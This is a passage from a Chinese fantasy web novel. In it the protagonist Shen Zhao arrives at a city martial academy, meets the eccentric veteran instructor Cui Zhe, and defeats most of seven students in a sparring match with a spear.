副驾驶位上的沈昭掏了掏耳朵,毫不犹豫地竖了个中指:“你还是老老实实去城防队提前实习吧孙子!”
总算远离这个晦气的家伙了!
“走了。”
驾驶座上的特战队孟玉轻笑一声,她启动车辆,推动换挡杆。
汽车引擎发出了沉重的轰鸣,缓慢向前驶去,将站在原地的吴涛逐渐抛到身后。
出发,去武道院!
18.战神赐福
“小朋友还是蛮有意思的。”
空荡无人的街道上,孟玉依旧放低了车速,卡在城市限定的四十公里向前行驶。
她熬了一整夜,此刻精神依旧不错,还饶有兴致的聊起了天。
“有点活宝,关键时也能出点力,可惜顶不了大梁,血气也不够,那这就没办法了,战神再慷慨,也不悯凡庸啊。”
“战神慷慨?”
后排的纪缨眨了眨眼,她手扶着靠背,头向前伸着,疑惑的问道:
“全市每年能和战神契约的学生连一个巴掌都凑不齐,这算慷慨?”
“不要只看学生和契约啊妹妹。”
孟玉轻握着车把,笑眯眯地开口。
“契约英灵向来是难如登天,除了契合度,还有一大堆模糊不清的标准,大半都是碰运气,但战神就不一样了,只要你是个出众的战士,那祂就会降下赐福,你说慷慨不慷慨?”
“赐福?”
这是个新词汇,沈昭不解的眨了眨眼,问道:“这是什么?”
“忘了沈昭你不知道这个了。”
纪缨主动解释:“高阶英灵往往不会与修行者签订契约,而是会赐予修行者一个,或者几个祂自身的能力,这被称之为赐福,挺少见的。”
“也不是少见。”
孟玉补充道:“主要是你们太弱,学校只会进行黄阶英灵的契约测试,自然见不到几个获得赐福的。”
沈昭若有所思。
这赐福听起来和自己现在的状况差不多?
那若有人问起来自己契约的古英灵时,她倒好对外解释了。
还得再多问问。
“那这么说的话,军警当中会有很多人获得战神的赐福喽?”
“不止军警。”
孟玉拐了道车弯,慢悠悠的开口:“战神对‘战士’的定义标准可是很宽泛的,如果你在某场战斗中表现出极强的血勇,又恰好被战神注视,那祂也会降下赐福哟。”
咦,不会这个时代会有很多人喊着勇气啊友情啊羁绊什么的,然后在战神的注视下满血复活,爆种把敌人片成鱼片吧?
这什么热血动漫照进现实啊!
沈昭忍不住后仰。
“那战神还真是慷慨。”
动漫里主角遍地都是,现实可不是那么回事,对大多数遭受厄运的普通人来说,哪怕战神只是给予了一份复仇的希望,也值得无数人为其赞颂了。
“啧,也不能这么说。”
孟玉微微摇头,像是想起起某些不愉快的回忆。
“出众这个标准可不是好达到的,放军队里,最低也得是个连队顶尖才能有机会——还不能是城防军那种养老的连队,堪称是百中挑一,至于剩下的那九十九,嘿,全都是祂眼中的凡庸!”
车辆又拐了个弯,前方的马路上,骤然多了许多正在行驶的车辆。
她们即将驶出封锁区。
有交警挥手示意她们停下,孟玉拿出证件和出行条,由对方检查。
交警看完,立刻挥手放行。
“算了,不说这个了。”
“武道院就快到了,给跟你们说点注意事项。”
车辆再次启动,孟玉摆了摆手,继续道:
“陆队昨天晚上都安排好了,请崔都事负责教导你们,这位可是受过三次战神赐福,活着全胳膊全腿从前线刀锋营退下来的老兵,实力极强,你们好好学,也做好心理准备,毕竟练武少不了吃苦,想见效快,那就得吃更多的苦。”
吃苦上,沈昭早就有心理准备,倒是这位被确定好的老师有些出乎她的意料。
这绝对是猛人当中的猛人。
三次赐福不必多说,没赐福前就是力压全连的好手,真正可怕的反而在后面。
人类城市的交界地外,地母力量无力庇佑的地区,被称作沦陷区,那里有各种变异凶兽,异魔,以及陆队长昨天新提的孽物和时墟,全都凶的一批,普通人类在其中就是最底层的小卡拉米,连三分钟都活不过。
为抵挡它们入侵城市,各城市都会在沦陷区布置重军抵御,因直面与其交战,所以称之为前线。
能和这群神鬼玩意对战,崔都管的实力已经深不可测,更可怕的是,孟姐还专门提了一嘴在刀锋营全胳膊全腿活着回来。
即便沈昭不知道军队编制,可光听名字,她就能明白这个营的主要功能,简而言之,就是在交战部队中负责顶在最前头冲锋的,换个更容易理解的词汇,则叫敢死队。
这什么百战老兵,不,什么现世战神啊!
沈昭忽然理解孟姐为什么会曲曲[战神]了,强到崔都管这种地步,才给三次赐福?
这也太吝啬了!
自和平年代而来,沈昭还从未见过这样的存在,她脑海中下意识划过对方的形象。
外形兰博,凶到凭眼神就能止小儿夜啼的那种。
话说,对方应该不会把她当新兵来训吧?
应该不会吧?!
汽车继续平稳地向前行驶。
她们已经来到了市中区。
老城区的封锁对整个城市依旧造成了不小的影响,周遭的车辆并不算多,人行道上也没有多少行人。
随着车辆的前行,枫林市唯一的纪念馆逐渐映入眼帘,灰白色的石雕外墙上,雕刻着大量的浮雕。
最初迁移到此的农人弯下腰,耕种土地,劳工举起锤子,敲打着机械,战士握着武器,与英灵一起抵御入侵的凶兽,不大的城镇建起,新的婴儿在此降生。
鲜红的旗帜扬起,城市不断扩大,直至变成如今的模样。
阳光刺破云层,撒在石刻上方,宛若霖霖波光。
驶过最后一节浮雕,武道院就到了。
这地方不大,门口只有四五米宽,布置着挡杆,中间没有宏伟大气的门牌墙,只在左方的墙上挂了个简单的标牌,白底黑字上写着[枫林市武学交流协会]九个大字,往后则是一栋四层高的综合办公大楼。
门卫老大爷躺在躺椅上,闭着眼,有一搭没一搭的扇着蒲扇,听到动静,睁开眼看了下车牌号,这才摁下挡杆的遥控器。
车停在了楼前的停车位上,纪缨推开车门,从车上下来,她左右环顾了一圈,嘟囔起来。
“原来这儿才是武道院啊,谁起的名字,我说以前怎么对不上号呢。”
沈昭也跟着从车上下来,她左右张望,怎么看都不觉得这里像是个能训练的地方。
奇怪,怎么会有人把最需要场地的‘武校’建在市中区?这连个跑道都挤不出来啊。
疑惑间,孟玉‘砰’的一声关上了车门,招呼起两人:“好了,跟我去见崔都事。”
说着,孟玉就主动走上了楼梯。
沈昭
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收回思绪,抬腿正准备跟上去,忽然感觉有些不对劲。
那是一种很难形容的感受,像有人在用手指指着她的眉间,又像是有什么正落在她身上。
有人正在窥视她。
沈昭抬头,冲着那感觉传来的方向望了过去。
那是三楼的一处窗户,几个人影正在上面晃着,一见到她看了过来,就立刻闪到了一边。
三楼,房间内。
几个十六七岁的少年们正挤在窗户边,向下偷看着刚进来的车辆。
“来了来了,那个斩杀D级异魔的沈昭进来了!”
“我去,她怎么看过来了!”
“快快快躲开!”
众少年中,最为好奇的曹璐率先看到对方回望了过来,连忙拉着身边人躲到墙后。
慢了一步的汪元生只能来个青蛙蹲,他仰着头,脸上满是不可思议:
“她不是才启灵中期吗?怎么感知这么敏锐?”
“是啊。”
又一个少年点着头说道:“这实力有点强的过分了。”
“感觉比凌霄都可怕……”
“开什么玩笑,她怎么比得上凌霄!”
“老狗不会又让咱们和她打吧?”
此话一出,众少年瞬间安静了下来。
很快,有人幽幽开口:
“咱们要是输了的话,未来肯定会很过的惨。”
沉默片刻,少年们全都望向了曹璐。
在他们这些人当中,只有曹璐的赐福最为特殊,不是能大幅度增强战斗力的【燃血】,也不是长时间战斗也不会掉状态的【鏖战】,而是如野兽般感知敌人强弱,乃至大致能力的【兽感】。
也正因如此,曹璐好奇心极重,最喜欢到处感知。
目前敌人手段不清,正需要曹大侦查兵出营探查敌情啊!
在众多小伙伴的注视下,她自信的拍了拍胸脯。
“放心,交给我了!”
携带着全村,啊不,全伙伴们的希望,曹璐主动踏出了房间。
没办法,以她的实力,想使用【兽感】,必须得在距离对方五米以内的距离,不然能感知到的东西极为有限。
她穿过楼道,下到二楼,站在楼梯口,等待着沈昭上来。
杂乱的脚步声响起,三个晃动着的头顶出现在面前,曹璐嘴角翘起,自信的朝着沈昭启动了赐福。
然后,她就僵在了原地。
再也发不出任何声音。
在凝望向沈昭的刹那间,周遭的楼梯,扶手,墙壁,全都黯淡了下来,温暖的阳光褪去温度,无穷无尽的黑暗笼罩了她。
数不尽的血液从脚下翻涌而来,喊杀与哀鸣在耳边骤然炸响,冲击着她的神智。
无数气息恐怖的残影从血海中爬了出来,他们手持着兵器,朝她而来,似要将她彻底留在此处。
‘不——!’
曹璐的脸色渐渐苍白。
‘滴答。’
血液蜿蜒而下。
沈昭疑惑的看着面前站立的年轻姑娘。
对方的视线过于强烈,带着股极强的窥视感,让她觉得很不舒服,下意识运转炁能,启动了项羽给予的技能,但奇怪的是,自己还没说什么,对方脸色却越来越白,眼神也越发惊恐,甚至——
“哎?她怎么流鼻血了?快拿纸给她堵上!”
19.有狗东西啊!!!
“我带了我带了!”
纪缨连忙从口袋里拿出纸巾,步伐快速的跨过沈昭,来到年轻姑娘身边,抽出张纸来,准备给对方擦拭鼻血。
沈昭也跟着上前帮忙。
可她刚上一步,对方就像猛然惊醒似的,咻的往后退连退两步,目光极为惊惧的看着她。
赐福强行中止,黑白的世界逐渐恢复色彩,阳光也重新有了温度,但曹璐此刻仍觉自己身处冰窟。
那宛如地狱般的杀戮世界还未离去,浓郁的血腥与杀气如绯红的薄纱,仍飘荡在四周,缠绕在她每一处肌肤上,令她浑身僵直,动弹不得。
这可怕的感觉比当年不小心望向崔狗时更胜百倍,不,千倍!
她到底是什么怪物?!
“不,不用了!”
见对方还要过来,曹璐拼尽全力才吐出拒绝,她完全不敢在这里再多留一秒,掉头就跑。
???
纪缨手举在半空,她有些发懵,完全不知道这个年轻姑娘为什么突然跑掉,像是看到什么可怕怪物似的。
“她是谁啊?怎么跟……怎么奇奇怪怪的?”
“大概是这儿的学生?”
伴随着这个年轻姑娘的离去,那股窥视感总算消失,沈昭看着对方落荒而逃的背影,心中若有所思,嘴上却道:
“我也不知道她怎么回事。”
“应该是看了什么不该看的。”
孟玉瞥了眼沈昭:“崔都事没有出来阻止,那就是没事儿,走,咱们去见他吧。”
沈昭跟着向前走。
刚才那个年轻姑娘已经跑没影了,宽阔的楼道里只剩下她们三个,脚步声在这里异常清晰。
沈昭安静的左右瞧着。
右手边是一道又一道的窗户,阳光从中透过,照的楼道清晰透亮,左手是并排的房间,上方还挂着标牌,第一个写着档案室,第二个这是教学办公室,门正半开着。
沈昭向内望了一眼,里面摆满了办公桌,桌上满满的都是书本和各种各样的教辅材料,还有四个戴着眼镜的老师正在低头忙碌着。
“到了。”
又往前走了一个房间,孟玉在挂着‘都事处’的标牌门前停下,屈起手指敲门。
“崔都事,我是孟玉。”
孟玉边敲边道:“我把学生送来了。”
“自己进。”
实木门内传来道有气无力的声音:“门没关。”
孟玉毫不意外的推开门。
屋内倒是正常的单人办公室模样,左侧是超大的办公桌和旋转椅,只可惜上面什么都没有,右方则放置了用来招待客人的三个皮质沙发,以及配套的茶几和茶台。
此刻,一个男人正躺在沙发上,他身形普通,胳膊上勉强挂着肌肉,套着略有些破旧的黑色背心和宽松短裤,头发与胡须杂乱的在脸上堆砌,不知道多久没有收拾过。
“麻烦活又来了……”
他嘟囔着起身,像没骨头似的靠在沙发上,大脚丫子直接怼在茶几上,眼半眯半睁的说道:
“行了,人送到就赶紧滚吧。”
沈昭,沈昭已经说不出话来了。
这是崔都事?
不是哪里来的拾荒大叔吧!
“好。”
孟玉像是早就习惯了对方的模样和脾气,她伸手拍了拍沈昭的肩膀,示意两人进去。
沈昭和纪缨互相对视一眼,谁都没有开口质疑,就这么走进房间。
屋内开着窗户,倒也没有什么奇怪的味道,两人站在中央,主动问好。
“崔都事好。”
崔折又打了个哈欠,他揉了两把脸,睁开眼,稍稍挪动尊臀,很是轻松的开口:
“都别紧张,坐。”
这是要长聊的意思?
沈昭也不客气,主动上前,正准备坐在单人沙发上,忽听对方又道。
“等会儿再紧张也不迟。”
嗯嗯嗯?
这个崔都事怎么有点狗里狗气的?
“您开玩笑了。”
沈昭坐下:“我们有什么好紧张的?”
崔折笑眯眯地发问:“陆毅没跟你们说,你们快死了吗?”
纪缨也坐了下来,她态度自然:“您是说死亡教徒盯上我们的事情吗?”
“呦,看起来知道,还不带怕的,勇气可嘉呀,怪不得能在脑虫傀儡围攻下撑到报警!”
崔折给在场的两人戴上了层高帽,他收起搭在茶几上的脚,坐正身体,甚至还轻微向前仰了几分,像讲大项目般开口:
“这么被盯着也不是个事儿,你们有没有兴趣钓个鱼,把这群死亡教徒给钓出来?”
钓死亡教徒?
怎么钓?
不会是想直接拿我们两个打窝吧?!
沈昭望着崔都事的眼睛,对方同样笑眯眯的望着她,那眼神中明显就是‘没错,就是你想的那个样子’。
沈昭拳头硬了。
她很想给对方一拳,但靠近后,莫名的感知又提醒着她,对方很强,她打不过。
“算了吧崔都事,钩这么直,钓不上来鱼的。”
“那可不一定,你这饵可香了。”
崔折脸上的笑容越发欠揍,他看着沈昭,细数起来。
“一个自然积累到启灵中期还没有畸变的天赋者,又蒙受了古英灵的多重赐福,昨天又破坏了他们布置已久的献祭,就这十年难得一遇的天赋和深仇大怨,无论是抓回去做成骨干,还是直接片了解恨,都很不错呐!”
沈昭完全不想知道对方说的是哪种骨干。
“不用您再提醒我有多受死亡教徒的欢迎了。”
她深吸口气:“我还是很惜命的,绝不会去当什么鱼饵。”
“别介,我可是认真的,死诞日将近,他们绝对要搞个大的,等陆毅慢慢摸查,黄花菜都得凉了。”
提及至此,崔折眼中闪过一缕精光:“我看过你的战绩,只要你晋升凝气,同阶之内哪怕遇上多人埋伏,也有很大概率跑掉,怎么样,有没有兴趣试试?”
没!有!
沈昭心里坚定的拒绝,嘴上却不由自主的问道:“什么是死诞日?”
“原来陆毅没跟你们提这个。”
崔折神色了然,他道:
“死诞日据说是孽灵诞生之日,每接近此时,死亡教徒都要为祂献上大量死亡庆贺,说的好听,实际上是他们信的主,也就是那个孽灵会在这天爆发式反噬,这群牲畜需要拿他人的性命来填补自我,不然就会被孽灵活生生吸成人干。”
嘶——!
闻言,沈昭倒抽一口冷气。
她知道只死亡教徒害人,却没想到孽灵凶残程度更上一层楼,成了信徒就得背上KPI,完不成就要死,这哪里是教徒?分明就是孽灵用来不断收割生命的奴隶啊!
一直没有开口的纪缨也郑重起来:“那死诞日还有多久?”
“很快。”
崔都道:“还剩三个半月。”
“我也破坏了他们的计
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划。”
纪缨思索着,她抿了抿唇,问道:“如果我在两个月内突破凝气期,出去做诱饵,有没有可能钓到他们的同时逃掉?”
崔折挑眉,他摸着满是胡茬的下巴,很认真想了会儿:“如果你晋升凝炁期的话……”
闻言,纪缨眼前一亮:“晋升凝炁期就能逃掉?”
“不,能让你死得更慢一点。”
崔折毫不犹豫的戳破了对方的幻想:“你一个脆皮刺客,露着身影踏进对方埋伏圈里,那就只剩下半条命了,逃跑?想屁吃呢!”
闻言,纪缨同样握紧了拳头。
这家伙怎么那么欠揍呢!
“怎么样沈昭?”
崔折转头看向沈昭:“有没有兴趣钓鱼?”
拿命钓,不包活的哟。
沈昭太阳穴一突突的跳,没想到武道院里居然还有这般卧龙凤雏,和此人比起来,只向她展示世界残酷的陆队都眉清目秀起来了!
但不得不说,如果陆队那边没有什么突破,而死亡教徒又要准备着献祭大量人命的话,拿她去钓鱼,恐怕也算是个不错的馊主意了。
就是有亿点点要命。
除非……她实力提上去,提的更高。
“让我再想想。”
沈昭道:“先晋升凝气期,不然那不是钓鱼,是直接送菜了。”
“行。”
崔折也没有逼迫,他站起身,从实木桌抽屉中拿出本小册子,扔向了沈昭:
“修行吐纳上很简单,就是废炁石罢了,册子上都有,你自己抽时间看就行,真正难的如何炼体与实战,走,我们去地下训练场,看看你们两个具体水平。”
说着,崔折踢踏着拖鞋就往外走,他站在楼道里高吼:“曹璐你们几个小兔崽子给我下来!”
这声响震天动地。
不一会儿,七个少年就噔噔噔从楼梯口下来,其中还有沈昭之前见到的那个流鼻血的年轻姑娘,见沈昭在看她,就立刻躲到了后面。
崔折什么也没说,沿着楼梯就往下走。
众人跟上,往下走了好几个弯才踏上地面。
沈昭视线骤然开阔起来。
这里大的一眼望不到尽头。
七米高的天花板上布置着大量的白灯,将偌大的地下训练场照的亮如白昼,大量的训练器材依次摆放着,往后是三个擂台,旁边还放着武器架,上面是各种各样的冷兵器,更远处甚至还有一个迷你跑场,只是训练的人却寥寥无几,大概只有四五十个,其中大半都是孩子。
给这么点人安排这么大的训练场?
这也太豪了!
崔折慢悠悠走到擂台后方的阶梯式座椅上,在第一排坐下。
“沈昭,你先来,选个武器和他们打一架试试。”
武器架上的冷兵器正闪着寒光,每一样都是开了锋的。
玩这么大?
沈昭在原地有些迟疑,而那七个被喊下来的少年倒是熟练的上前挑起兵器,不知道已经打了多少次。
崔折悠闲的摸着下巴,像是想到了什么,忽然道:“比斗嘛,总得有点彩头才好,这样吧沈昭,你要是赢了,他们这个月的零花钱就全归你了。”
我就知道!
七个少年在心底哀嚎着,他们拿紧武器,看向沈昭的目光瞬间充满了敌意。
在沈昭凝固的微笑中,崔折慢悠悠补充道:“要是输了,那你就给他们洗一个月的袜子吧。”
卧槽?
有狗东西啊!
20.我怎么败了?!
沈昭深刻意识到一个道理。
子女不和,多半是老人无德!
见面不过半小时,崔都事就充分展示出自己是个狗东西的本质。
怂恿她拿命钓鱼不说,她本来和这七个少年无冤无仇,大家比试也只是试试水准,完全可以正常切磋,点到为止即可。
可这狗东西硬是强行拱火,他们不想输零花钱,沈昭难道愿意给他们洗袜子吗?!
笑死,体育生的袜子,哪怕只训练一天,那味大的也无需多言。
洗是绝不可能洗的,此局只能赢,绝不能败。
目光相对,八人都从对方眼中看到了浓浓的敌意与决心。
下死手,必须下死手,别说大家不认识,就算认识也没有丁点情分可以讲!
沈昭认真打量起这七个对手。
他们明显是武道院的学员,看模样和她年龄差不多,其中四个在启灵中期,还有三个已经达到启灵后期。
见沈昭目光不善,他们也进入了备战状态,放松的身躯紧绷起来,小腿和胳膊上的肌肉波浪似的涌起,像是群正在准备狩猎的野豹,仿佛下一秒就会扑过来,用手中锋利的武器穿透她的胸膛。
他们眼神和她一样,都见过血,甚至——
见过更多。
对手实力很强,更糟糕的是,她还不知道他们契约战神的能力是什么。
没有百分百取胜的把握啊……
沈昭思索着,扭头向崔折问道:“崔都事,规则是什么?”
“啧,忘了说了。”
崔折看着沈昭,眼中有些玩味。
他倒没想到对方没试图拒绝,反而迅速接受,还主动询问起规则,这让他准备的后手完全无法发挥,实在是可惜。
惋惜着,崔折慢悠悠的补充道:
“比法也简单,上台搏杀,谁先在对方身上留下伤痕,让其流血,或让对方投降认输,又或者将人打下擂台即为胜利,这个你自己看着选就是了。”
打出血和打下擂台吗?
沈昭逐渐有了想法,她走向武器架。
横刀,长剑,?利斧,铁锤……静静的横列在架上,这些武器暗沉,上方带着划痕,部分刃尖还带着细小的豁口。
这是真正的作战兵器。
沈昭目光在这些兵器上一一划过,最终落在了枪架上。
她拔出一把长约两米四,叶型枪头的长枪,在手上掂了掂。
重量合适,枪头轻盈锋锐,木质枪杆坚硬中带着柔韧,后方还加了配重,是把上好的兵器。
说起来都是泪,穿越之后,沈昭接连两场生死危机都只能有什么用什么,现在才是她第一次拿正经武器对战!
舒适的手感自手掌传递到大脑,让来自项羽的作战经验再次如潮水般涌了上来,沈昭握住枪杆的手臂微微抖动,心脏兴奋地加快了跳动。
兵器对人武力的增益无疑是巨大的,何况,枪乃诸器之王。
诸器遇枪,立败也!
而军中兵器实用者,莫若枪矛也。
这天下,有几人能比项羽更善此道?
何况面前这几个学员!
来吧,来战吧。
沈昭转身,她双腿用力,提枪而跃,下一秒,身形重重的落在最大的擂台上。
站在擂台中央,沈昭立起长枪,她脸上挂着微笑,谦逊的向对手们伸出右手,语气平和的邀请道:
“不耽误你们的时间,就一血,一起上吧。”
嗯???
这哪里是邀请?
这分明是顶级嘲讽!
崔折眉毛一挑,顿感好戏即将上演。
旁边,纪缨见这些学员透露出来的实力不凡,本就有些担心她该如何取胜,此刻见沈昭这么做,更是忧虑不已。
乱拳还能打死老师傅呢,何况以一敌七!就算拿着长兵器占点优势又如何?学员里面也有人拿啊!
至于准备战斗的学员们,其中有几个脸色已经迅速开始泛红。
气的。
你这瞧不起谁呢!
是,沈昭你能一人斩杀准D级异魔,实力不凡,可我们又哪个弱了?谁没独立击杀过实力等同于凝气中期的凶兽了,以我们的实力,合力围攻,也同样能斩杀D级异魔,你还真的以为自己能以一敌七了?
自古文无第一,武无第二,习武之人本就勇武好斗,不甘屈居人下,何况战神信仰更加推崇向强者挥刀,鄙夷畏战的懦夫,启灵后期的高鹏完全无法忍受,他立刻上前一步。
可他还未上去,就被曹璐拦了下来。
“别冲动。”
曹璐按住他的肩膀:“我们不清楚她的底细。”
沈昭是不知道他们的能力,可他们同样也不知道她的能力,而未知的敌人才是最可怕的,谁知道她有什么样的底牌?说不好,她正有天克他们的赐福呢!
对他们来说,最好的方式是车轮战,先让人试出沈昭的能力再说,但……
见他们止住了脚步,沈昭微微抬头,从擂台上俯视着七人,微笑着问道:
“你们该不会是怕了吧?”
赛前搞人心态的垃圾话向来不少,这句话攻击性上来说不值一提,就连语调平淡极了,可正因如此,却更显得姿态无比的居高临下,让人瞬间火大。
“你想多了。”
高鹏沉肩,躲开曹璐的手,他提着长枪,对沈昭道:“这可是你主动提的要打群战,我们可没欺负你!”
曹璐隐约觉得不妙:“高鹏!”
“别拦了,我知道你的想法,好是好,可没人愿意做。”
车轮战当然是好,可谁愿意去当炮灰试沈昭的水准?至少前三个必输无疑,崔狗那狗东西绝不会只罚点零花钱,绝对还有其它惩罚在等着他们呢!
“就群战,我直迎,元生你在我身边辅助,胡绍和许欣左翼包抄,志筠和许隆去左翼,曹璐你就随意游走,见机行事吧。”
他还就不信了,七个人打她一个,还会输?
在这这个小团体中,没有说一不二的老大,谁也不愿意在这种事上牺牲,如此,高鹏给出的办法算是最优解。
其余同伴都没有异议,他们提着武器,跟着高鹏跳上擂台。
曹璐无奈,只能也跟着跳了上去。
宽阔的擂台忽然变得拥挤起来。
高鹏站在中间,长枪放下,枪尖对准沈昭,作出应敌的姿态,汪元生提着刀,站在他的身边,其余人呈v字形上前,向沈昭包围。
很好,目的达成了。
沈昭嘴角的笑容更真切了。
她输出是高,但持续时间太短,若是一个一个打,后面必然会输。
给两个人洗袜子和给七个人洗有什么区别吗?
没有啊,反正都要洗。
所以要赢就得全赢!
想全赢,她就得扬长避短,速战速决,乃至——
以一敌七!
沈昭站在擂台一角,防止后背
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受敌。
她右脚向后屈膝,左腿伸前,双手握紧长枪与腰平齐,枪尖同样对准了高鹏。
些许红芒在眼中闪过,她周身气势越发危险起来。
“有点意思。”
崔折摸着下巴。
陆毅那孙子知道的不多,导致他也不清楚沈昭本事究竟如何,但有一点是确定的,她能打,但撑不了太久。
速战速决,倒是能化劣势为优势,可她真有这个一打多的实力么?
一时间,崔折还真判断不出来。
不过没关系,他很快就能知道了。
全力出手吧沈昭,让我看看你的极限!
“准备好了?”
崔折多余的问了声,他从口袋中摸出个口哨,高声喊道:
“那我就喊开始了。”
说完,他将哨子塞进口中,用力一吹。
“嘀——!”
高昂的哨响瞬间打破了擂台上的宁静!
纪缨握紧手掌,心再次提了起来。
擂台上,早就做好准备的高鹏枪尖一挑,对准沈昭就刺了过去!
战神赐福【狂血】启动,原本平静的血液于体内疯狂奔涌,手臂上的肌肉块块隆起,巨大的力量将长枪近乎刺出了残影。
他于心中冷呵。
到现在沈昭还不召唤出英灵实体辅助,她应该也只是蒙受了古英灵的赐福,增益多是力量,速度一类,还只能近身作战。
那后选长兵器又如何?是,武器就是一寸长,一寸强,可他用的也是长枪!
自十岁那年蒙战神赐福,进入武道院之后,高鹏已经练了整整六年的枪法。
月棍年刀十年剑,百年修得一杆枪,哪怕现在,高鹏也只敢说自己大抵是入了门。
可她沈昭呢,三天前也不过只是个普通学生,能摸几次冷兵器?
分明就是个生瓜蛋子。
选枪?
那真是上赶着送菜!
还别说,武道院学员高鹏一枪就打败了斩杀准D级异魔的沈昭,传出去还挺好听的。
长枪的枪尖闪烁着寒光,迅速逼近沈昭喉咙。
沈昭终于动了。
高鹏枪来的极快,极稳,足可见是下了大功夫练的,尤其是对方出招时气力瞬间爆涨,明显启用了战神赐福,力量甚至比她使用【力能抗鼎】更胜一筹。
可惜,还是差了一点。
就一点点。
但这足够是生与死之间的差距了!
她向前一滑,侧身躲过枪尖,抬枪上挑,枪身如游龙飘飞,同样朝着高鹏刺去!
枪尖带着刺破空气的尖啸而至,高鹏同样迅速抬枪拦挡。
两根枪杆互相碰撞,发出清脆的撞击声响,枪尖晃跃,巨大的力量由枪杆传递至手上,可沈昭双手臂依旧稳稳的握住,枪身顺势向前一滑,枪尖直点高鹏心口!
电光火石之间,枪尖就刺入了皮肤,沈昭没有再进,而是迅速向后一收。
一抹微红凝固在了枪尖。
发生了什么?
高鹏脑子忽然有些发懵,他还维持着再次发力的姿势,轻微的刺痛从胸口传来,他缓缓低下头,看到指甲盖儿大小的破洞。
它是那么的明显。
汩汩鲜血涌出,浸透胸前的那小片衣服。
他……输了?
一个呼吸而已,战斗就已经结束了?
才一招,他就败给了沈昭?
这怎么可能!
21.全胜!
高鹏完全不想接受这个结果,可胸前的伤口却提醒他,这就是现实。
他已经输了!
就眨眼间,连自己还没有反应过来前,就已经输了。
说不出来的苦意在舌尖蔓延,刚才从脑海中飘过的幻想此刻化作无形的巴掌,狠狠的扇在他的脸上,让人觉着脸烧的厉害。
擂台之上,其他学员同样目睹了这一幕,个个不可思议的瞪大了双眼。
刚刚发生了什么?怎么高鹏突然间就输了?!
他可是启灵后期实力,一手长枪能压着他们打的啊!
可来不及多想,沈昭的攻势就朝他们袭了过来!
收回长枪,沈昭一秒未停,调转枪头,一个摆尾,朝着左方同为启灵后期的许欣就刺了过去。
这攻击迅猛至极。
丝丝血色围绕在枪尖,寒光裹挟着仿佛能刺破肌肤的劲风扑面而来,许欣丝毫不敢大意,【燃血】瞬间催发到极致,右腿后撤扎稳马步,持刀强行格挡!
‘铛——!’
“胡绍你们还等什么?还不快上啊!”
枪尖与长刀相撞,即便开了燃血,巨大的冲力还是让许欣后退一步,她惊愕着对手的力量,大声催促起距离沈昭最近的同伴。
近身,必须近身,不然他们几个持短兵器的根本打不过她!
而在许欣催促前,胡绍和李志筠就已经意识到危险,他们全力运转赐福,从左右两方朝沈昭发起进攻。
长枪之优,在于长,以远攻为上,可若被近身,反倒成了劣势,尤其是此刻混战,更容易顾左顾不了右,稍不注意,便会受伤输了比试。
可沈昭又如何不知此点?
她早就有所防备,一击许欣未成,便迅速后撤拉开距离,手中长枪更是未停,对着距离更近的李志筠就扫了过去!
枪尖横贯,于空中划开一道冰冷的弧线,若被其扫到,人能被劈开大半,面对这样的攻势,李志筠只能停下脚步,举剑格挡。
她没有懊恼。
沈昭能拦自己,却无法同时拦住胡绍!
与此同时,胡绍已经冲到沈昭左侧。
全力进攻的她侧方全是空门,无一处防守,仿佛轻而易举就能将其砍伤。
胡绍心急速跳着,他没有停搁,横起长刀,对着沈昭左臂划去——
“沈昭,你输了!”
“呵。”
沈昭丝毫不慌。
谁说持枪被近身就会任人窄割,无法反抗了?
她侧身抽回长枪,枪杆向后滑脱,狠狠一撞!
‘砰——!’
枪杆尾纂精准的撞在胡绍两肋之中。
铜配磨尖的尾纂威力丝毫不亚于破甲锤,胡绍顿觉肋间剧烈,他挥刀的手臂一抖,沈昭抓举机会,轻松躲开刀刃,启动【破釜沉舟】,抬腿就是一个飞踢!
庞大的冲击力让胡绍凭空飞起,直接摔落在擂台之外。
“我怎么也输了?!”
胡绍本能的滚地而起,他呆站着望向擂台上的沈昭,屁股和两肋间还不断传来刺痛,可胡绍却顾不得伤势,脑海中只剩下一个念头。
他明明都已经近身了啊!
怎么突然间就被对方给踢下擂台了?
想想自己刚才喊的话,他感觉自己鼻子上好像带了个红色的小球。
“没事兄弟,我不也输了嘛。”
高鹏很是贴心的走过来,拍了拍胡绍的肩膀。
还别说,有人陪着,自己鼻子上的小红球好像也消散不少了呢。
擂台上的沈昭一刻未停。
踹下胡绍,她双脚蹬地向前,借着【破釜沉舟】的余力,朝着李志筠就扎了过去。
血色弥漫,其势更如徐徐烈火,侵掠山林,无可抵挡,亦是无从抵挡!
要是继续和沈昭远战,他们都得输。
“我拖住,你们快上!”
李志筠咬紧牙关,体内炁能运转到极致,她全力挥出重剑,压下这次的枪锋,为同伴创造上前的机会。
不必多说,许欣和汪元生抓住时机,迅速朝沈昭冲来!
两秒。
面对再一次的围攻,沈昭仍旧镇定自若。
她一心三用,边衡量着两人到达面前的时间,注意着他们的攻击方式,边盯着李志筠。
对方手中重剑闪烁着莹莹白光,只是两刃相撞,这次反弹回来力感却不如许欣,倒是枪尖,明显凹了进去一块。
居然还有强化武器的赐福?
有意思。
就是力量弱些。
那更好打了!
两个对手已经冲到近前,沈昭没有再抽回长枪,反倒是朝上一抛,空手向汪元生的长刀夺去!
【破釜沉舟】!
她速度极快,左手握拳,一拳砸在对方右臂,‘咔嚓’骨裂声中,长刀易手。
转刀划伤对手,沈昭单手接枪,右手长刀对准攻来的许欣,一刀劈了过去!
刀锋呼啸而至。
即便许欣已经尽全力变招阻拦,可这刀还是以一个诡异的角度破开防御,侧划过她的手臂。
她输了。
技不如人呐!
许欣一甩胳膊,转身跳下擂台。
而沈昭已经将刀抛在一边,再次提枪攻向李志筠!
拿、扎、刺!
枪身如蟒,迅猛至极,眨眼就到了近前。
李志筠深吸口气,抬手——
破枪式!
重剑下斩,再次将长枪压下,李志筠抓住机会,一个转身,迅速向前突破。
可惜还不够快,压的也不够狠!
还未等对方转身,沈昭长枪向后一收,于对方腰侧一划。
仿佛眨眼之间,台上七人就已去五。
擂台下的纪缨这才松了口气,她松开手,发现手掌已经全都是汗。
妈耶,刚才那三次进攻简直要吓死她了,差点以为沈昭就要输了!
崔折还坐在看台上,姿态悠闲,只是摩挲胡须的手掌不知何时停了下来。
这沈昭,强的有点过分了啊。
不仅有类似【狂血】的全面加强,还能在此基础上再次爆发,状态更是时时刻刻保持在了顶尖,甚至还有几近大师水平的武艺传承……
这配置已经够吓人了,更让人可气的是她还不是个傻的,极善利用自身优势,啧啧,这是要上天呐?
台上。
仅剩的曹璐和许隆互相对视,纷纷露出苦笑。
这还怎么打啊!
